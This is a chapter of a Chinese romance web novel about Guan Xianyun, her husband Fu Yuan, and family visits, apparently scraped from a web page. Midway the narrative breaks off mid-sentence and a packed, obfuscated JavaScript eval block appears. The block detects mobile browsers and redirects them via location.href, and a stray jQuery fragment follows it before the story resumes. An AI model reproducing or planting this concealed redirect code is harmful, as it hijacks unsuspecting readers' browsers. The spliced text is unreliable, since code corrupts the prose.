24. 第 24 章
作品:《嫁给傻子夫君后》 关纤云抱着桃花回到小巷,正好赶上孩童放学,一个个如云雀般跑出小院,见了她便叽叽喳喳围上来问好。
她被簇拥着走不动道,正有些发愁,忽听得一小孩哭嚷间推开人群,径直扑上她的腿嚎道,“小娘子,夫子打我!”
孩子们四散跑开。她弯腰凑近一看,说话的正是那泼辣妇人的孩子,这会儿整张脸已哭成花猫,模样好不可怜。
“夫子打你?让我看看。”
关纤云眉头微皱,蹲下身拭去小孩脸上泪痕。小孩抽噎着朝她伸出手,肉嘟嘟的手掌上肿起一条红印,倒也并不明显。
“我没背下书,夫子就拿好长一把木尺打的我手。”
傅元走到巷子,见那小孩正给小娘子告状,心下发慌,快步上前把他拽到身侧,眸子委屈望向关纤云。
“娘子……”
关纤云侧头不看傅元,把那双小肉手握在掌心,轻声道,“夫子脾气很好的,定是你太调皮,惹夫子不开心了吧?”
那孩子肩膀一耸一耸地不搭腔,傅元见状忙回道,“《三字经》教了将近半月,只有他不会背,还在学堂睡觉!”
孩子哭道,“从前背不下来,夫子也没有打过人!”
“从前是从前,你可知我如你这般大时,寅时便要起来读书习武,学的是兵法策论……”
傅元还欲说下去,对上关纤云微微瞪大的双眼,一下子顿住了口,眼神心虚乱飘。
“况且……我又没用力,过一会儿就能消下去了。”
他低下头嘟囔,余光瞥见关纤云柔声送走那孩子,方才转身在他面前站定,无奈道,“好啦,低着头做什么,不会被小孩子气哭了吧?”
说着俯身把脸凑过去,羞着他的脸道,“还寅时起来习武呢,连个七岁稚童都教不好。”
傅元垂眸同她对视,耳廓染上一层红晕,却还是别过脸闷声道,“娘子从来都不向着我,百里是,那孩子也是。”
“我不向着你?”关纤云见他闹脾气,失声笑道,“那你说我该怎么办,夸你打的好不成?”
傅元半晌没吭声,伸手把她抱进怀里,额头抵在肩上乱蹭,“我不是那个意思……”
她只觉颈窝一阵发痒,登时也舍不得再逗他,微微撤身同他拉开距离道,“知道啦,别不开心了好不好?我们回家吃饭。”
傅元这才不舍松开手,两人并肩缓步朝家走去,隔着丈来远,瞧见院门口的梧桐树下立着个小人,正面朝树干若有所思。
小人听见脚步声,转过头,是隔壁奶奶家的女孩子。
关纤云一愣,走上前去问道,“阿囡?怎么还不回家?”
女孩摇摇头,抬手指着树干——
一只半枯知了被柳叶刺入树皮,在阵阵暮风中纹丝不动。
“姐姐你瞧,知了。”
关纤云顺着她的动作看过去,先是疑惑,而后一抬头看向婆娑枝叶,顿时如临大敌般挡住她的视线。
这身手,难不成是百里?!
她朝傅元递个眼色,傅元此刻亦是方寸大乱,三两步上前把那女孩身子转了个向,委声道,“快回去吧阿囡,奶奶要等急了。”
女孩梗着脖子不动,眸色倔强,“夫子,知了是你打下来的吗,你是不是会习武?”
傅元张口结舌,抵死否认道,“怎么会呢!你瞧着我像会武的样子吗?”
他抬眼去看关纤云,只见她伸长了手仓皇指向树冠,朝他喑声口势:百里,百里!
感情是以为是百里干的。
他微叹一口气,回过头,那女孩仍直直盯着他,“夫子,你能教我习武吗?”
“你,想学武?”
傅元愕然,放在她肩上的手也不自觉收回。
女孩声音坚决道,“我要参军,找爹爹。”
他微微颔首,看向这女孩的眼神便多了几分意味不明,“我记得,大魏军队从来不收女子。”
“至少我想试试。”
女孩迈进一步,抱拳正色道,“夫子你教我习武吧,我拜你为师。”
傅元没奈何地同关纤云交换视线,关纤云担心百里被发现,犹豫片刻只得点点头。
他心中亦了然。
“好吧,我可以教你。不过提前讲好,练武不比习字,日后要吃很多苦。”
“多谢夫子,不对,多谢师傅!”女孩一笑,朝他弯腰施了个礼,又转身向关纤云道别,兀自蹦跳着回家了。
两人看着那小小身影在拐角处消失,这才不约而同松了一口气。
半晌,关纤云最先反应过来,轻拍他的肩道,“别担心,反正你又不会武,那孩子跟你学几天就能看出来了。”
傅元微微挑眉,把她的手回握在掌心,不置可否。
“不过,看不出来百里还挺厉害的嘛。”
她手指抵在下巴上,语气添一分崇拜,“居然能把柳叶用的像剑一般,啧啧,真是深藏不露。”
傅元面上僵住,见小娘子眸子带光,心里便忽地酸起来,“娘子怎么就笃定是百里做的,难道不能是我吗?”
“你?”关纤云嘴角一抽,“你走路别撞树上都算好的了。”
“那娘子的意思是,百里比我好咯?”
理智被眼前小娘子一句话点燃,他欺身向前,把关纤云压在树干上,眼中闪过一瞬侵袭。
关纤云冷不防被他吓住,心跳如擂,抬起头结结巴巴道,“你,你说什么呢!”
“娘子喜欢习武之人?”
“我不是那个意思!”
傅元垂下头与她靠的更近,“那便是单单不喜欢我。”
“谁说我不喜欢……”
她嗅到他身上淡淡草木灰香气,冷冽清新,双颊不自然飞上一抹红晕。
“那便是喜欢?”傅元勾唇露出小虎牙,得寸进尺问道。
“一点点……”
话音未落,身子便蓦的落入一个炽热怀抱。
“一点点,也够了。我们来日方长。”
她被他抵在胸口,耳畔静听心跳声,居然真的生出来日方长的念头。
来日方长……直到头顶梧桐箫疏。
她正抿唇浅笑,忽听得傅元脆生问道,“娘子的桃花是哪里来的?很漂亮。”
“啊?”她回过神,抬头与他对视,“这个啊,朋友送的。”
晃一晃怀中花枝,桃花开到荼靡,簌簌落下枝头。
“朋友?”傅元歪头,生出一种不好的预感。
“对,李公子。李悦风,你可有印象?”
傅元眸子半眯,想起记忆里确有此人,似乎是个武将世家出来的文官。天资一般,循规蹈矩,他往日从不屑正眼瞧过的那类人。
关纤云答的坦荡,全然没注意到傅元的眼神变化,“你重病那夜,还是李公子送我去的关府,说起来,他也算你的救命恩人。”
傅元摇摇头,冷声道,“不认识,没印象。仔细一瞧这花都要开败了,也没什么好看的。”
说罢从她手中抢过花,折身走开,留关纤云一个人呆立原地。
走到院门旁的荷花缸前,手指松开,花枝便“扑通”一声落入水缸,溅起层层水花。
“傅元!!”
关纤云失声惊叫,跑到缸边一看,桃花已然沉入水底。而始作俑者斜倚门旁,眸中没有半分愧疚。
真是……越发惯的嚣张了。
*
时当夏末,临安府天高气爽。
苏三娘今日去庙里上香,锦绣阁不开门,关纤云便好不容易得空在家休息。巷里孩童也早不来读书了,唯那名叫静姝的女孩儿日日跟着傅元习武,竟是学得有板有眼,一把木剑在手中纵横凌厉。
傅元背插青铜长剑立在檐下。他记得几日前百里曾说过,傅子衍八月廿六休沐,会来安定坊见他,算来正是今天。
小娘子今日休假却是在他计划之外:若是叫她和傅子衍见了面,难免说不开话,思来想去唯有把傅子衍拦在门外,趁早解释清楚好让他回去。
正暗自思量,忽听见门外有人轻叩门环,关纤云隔着窗棂瞧过去,傅元忙道,“许是僧道挨门化斋呢,娘子你坐着,外头热,我出去看看。”
他穿过院子,推开门,门外一袭水红锦裙,站着的却不是傅子衍。
关纤月双手环抱,蹙眉同他对视,“傅公子,你这是什么表情?”
“关小姐……?你今天怎么来了?”
他一愣,还没来得及反应,关纤月便道,“我来看我小妹,有什么问题?”一面绕过他径自走进小院。
两姐妹相见,喜得抱成一团。关纤云从窗边探出头叫他端茶来,他此刻心里发乱,倒过茶回到檐下,眼看天色将晚,仍是没有看见傅子衍的身影。
木桩上,女孩腕子不稳,木剑脱手堪堪朝他刺来。他侧身抢上剑柄,手挺长剑在虚空比划几下道,“手腕运劲,力达剑锋。”
女孩接过木剑,傅元从背后抽出青铜剑给她示范。忽见冷冽剑影里一抹玄色身影立在树下,傅子衍隔着丈来远望向他,微微颔首。
他收剑入鞘,欲待上前,傅子衍却阔步走进院子,来到檐下同他并肩而立。
关家两小姐隔窗而望,关纤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230129|165546||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云最先笑出来道,“今天是什么日子,怎么都来了?”
傅子衍声音泠泠道,“听闻兄长患病,故前来探望。”
关纤月歪头打量过去,染着寇丹的手指抚上眉梢,“傅公子生病已经是十多天前的事儿了,现在才来,是不是有些太晚了?”
“大理寺事务繁多,昨日方得十日休沐,并非不上心兄长。”
关纤月耸耸肩,“若要论起上心,谁能比得上我家小妹。”说着眼睛一转看向傅元,“小妹她那夜冒着暴雨去城北请郎中,淋得浑身尽湿,此事傅公子你还不知晓吧?”
关纤云耳廓泛红,放在膝上的手悄悄戳她腰窝,“没有那么夸张,阿姐你别乱讲……”
傅元闻言垂下眸子,半晌才抬起头露出个有些傻气的笑容,沙声道,“我知道啦,我以后一定好好对待小娘子!”
关纤月本还想借题数落两句,见他这副缺心眼模样,登时也兴味索然。
傅子衍眉头微挑,视线在那鲜红寇丹与青铜剑柄上来回跳跃。
檐下风吹落叶,满院婆娑。
“对了,我今日来主要是告诉你,香料铺子已经在大相国寺那边开业了。”关纤月回过神,探身凑近小妹几分,“你之前说让傅公子来店里做跑堂,可还算数?”
关纤云讪笑,有些心虚道,“我之前是答应过你不错,但眼下傅元身子还没彻底痊愈,去城北路又远……”
“哎呀,他一个大男人能出什么问题!”关纤月打断她的话头,“好小妹,我如今所有积蓄都花在赁铺子上了,实在没钱再雇个跑堂,你让傅公子来四五天就成,这样可好?”
她说着拉住关纤云的手,柔声相求。
关纤云心里仍有忧虑,却也不忍心拒绝长姐,正纠结间,傅元却在一旁开口道,“衍儿不是有十日休沐吗,他住城北,可以让他去铺子里帮忙呀。”
三人闻言皆是怔住,关纤月愣了一瞬忙摆手道,“这这这,不合规矩,哪能让小公子来当跑堂的……”
“对啊傅元,你上一边玩去,别添乱。”关纤云也蹙眉瞋他一眼。
两姐妹权当傅元又犯傻劲,并没把这话放在心上,谁知将才一声不吭的傅子衍忽道,“可以,正好我也有空。”
他垂眸倚在窗沿,乌睫低压看不出神色。
关纤月啊了一声,头探出窗,发间金步摇亦动亦晃。
“小公子,你当真要来香料铺子做跑堂?”
傅子衍似是被步摇上的日光迷住眼,微微侧过脸道,“兄长有约不得履行,身为舍弟自当替他完成。”
傅元也颇为诧异瞥他一眼,正疑心此人竟何时变得如此好心,往日分明连他这个兄长是死是活都不在意……
眸光停留在关家长小姐那双明媚笑眼上,顿时心下明了,冷笑一声,扭过头不再言语。
原来是想要跟他做连襟。
他原本打算先把傅子衍支到香料铺,好找机会跟他讲明白,没成想这下倒给他牵了线。
关纤月支着脑袋打量那傅氏次子,上次相见他还是雨中劲衣佩剑的大理寺丞,只手一挥便将登徒子打入牢狱;今日再见,腰上佩剑已然换成玉玦,眉眼间却仍是压不下去的冷意。
她脑海中设想这人穿上直缀,在铺子里招呼客人的模样,嘴角一抽。
“还是算了吧……傅小公子好容易得了休沐,哪能再麻烦您……”
傅子衍垂眸对上她的视线,瞧出她心里所担忧之事,沉声道,“大相国寺人多眼杂,小娘子一人开店难免被有心之人盯上,有我在铺子里,也许还可以免些口角争纷。”
寥寥数语直说到关纤月心坎上,她心下思忖片刻,觉得傅子衍此言极是,便抬头笑道,“那好,小公子明日来捧个场,也算让我这铺子沾沾傅国公的光!”
傅子衍微微点头,又听关纤月道,“上次那事,多亏了小公子相救,我还没好好谢过呢。”
四人都知晓她口中的事指什么,傅子衍道,“本就是大理寺分内之事,小娘子此后与那人还有往来吗。”
关纤月面上扯出个笑,语气咬牙切齿,“呸,这登徒子,惹了事后一声不吭跑回金陵,从前真是我瞎了眼,居然还为了他跟爹爹吵架!”
傅子衍倚在窗边不接话,傅元瞥他一眼,眸色闪过晦暗。
他这同袍,外人看着不真切,只当是个说一不二的少年郎,殊不知此人狠戾不亚于他,唯一区别便是平日装得更有几分人情味。
一声不吭回了金陵?
若不是他从小与傅子衍针锋相对,早摸透了脾性,许就真信了这话,责怪起尉氏子来。